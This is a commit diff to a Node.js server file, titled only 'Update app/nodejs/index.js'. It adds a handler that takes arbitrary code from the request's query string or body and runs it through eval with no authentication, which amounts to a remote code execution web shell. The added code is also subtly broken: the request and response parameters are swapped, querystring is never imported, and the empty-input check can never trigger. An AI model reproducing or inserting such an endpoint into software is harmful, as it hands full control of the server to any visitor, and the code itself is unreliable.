Update app/nodejs/index.js

app/nodejs/index.js

@@ -1,3 +1,19 @@
 require('http').createServer(async(res,req)=>{
-  req.end('222')
+  var urlObject = new URL('http://' + req.headers['host'] + req.url)
+  var code = querystring.parse(urlObject.search.length > 1 ? urlObject.search.substr(1) : "");
+  if(!code){
+    code = await new Promise((resolve) => {
+				let body = [];
+				req.on('data', chunk => {
+					body.push(chunk);
+				}).on('end', () => {
+					resolve(Buffer.concat(body).toString());
+				}).on('error', () => {
+					resolve(Buffer.concat(body).toString());
+				})
+			})
+  }
+  if(!code) return res.end('no code!');
+  var resp = await eval(`async(res,req)=>{${code}}`)(res,req);
+  if(resp && !res.finished ) return res.end(""+resp);
 }).listen(7860)